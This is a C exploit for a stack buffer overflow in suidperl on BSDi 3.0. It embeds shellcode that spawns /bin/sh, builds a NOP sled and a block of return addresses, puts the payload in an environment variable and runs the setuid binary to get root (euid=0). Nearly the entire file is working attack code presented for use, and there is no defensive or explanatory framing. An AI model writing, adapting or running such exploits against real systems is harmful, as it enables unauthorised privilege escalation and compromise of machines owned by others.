BSDi suidperl Local Stack Buffer Overflow Exploit

                                                /* (BSDi)suidperl[] buffer overflow, by v9[[email protected]].  this is that old
   buffer overflow in suidperl, but i never saw any version of it for BSDi.
   so, here it is.  this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl"	/* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000		/* general offset, a lot of room. */
static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[2048],buf[4096];
 int i,offset;
 long ret;
 printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[[email protected]]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(pointer()-offset);
 eip[0]=0x01;
 for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;}
 eip[1248]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
 if(execlp(PATH,"suidperl",eip,0)){
  printf("*** [error]: could not execute %s successfully.\n",PATH);
  exit(1);
 }
}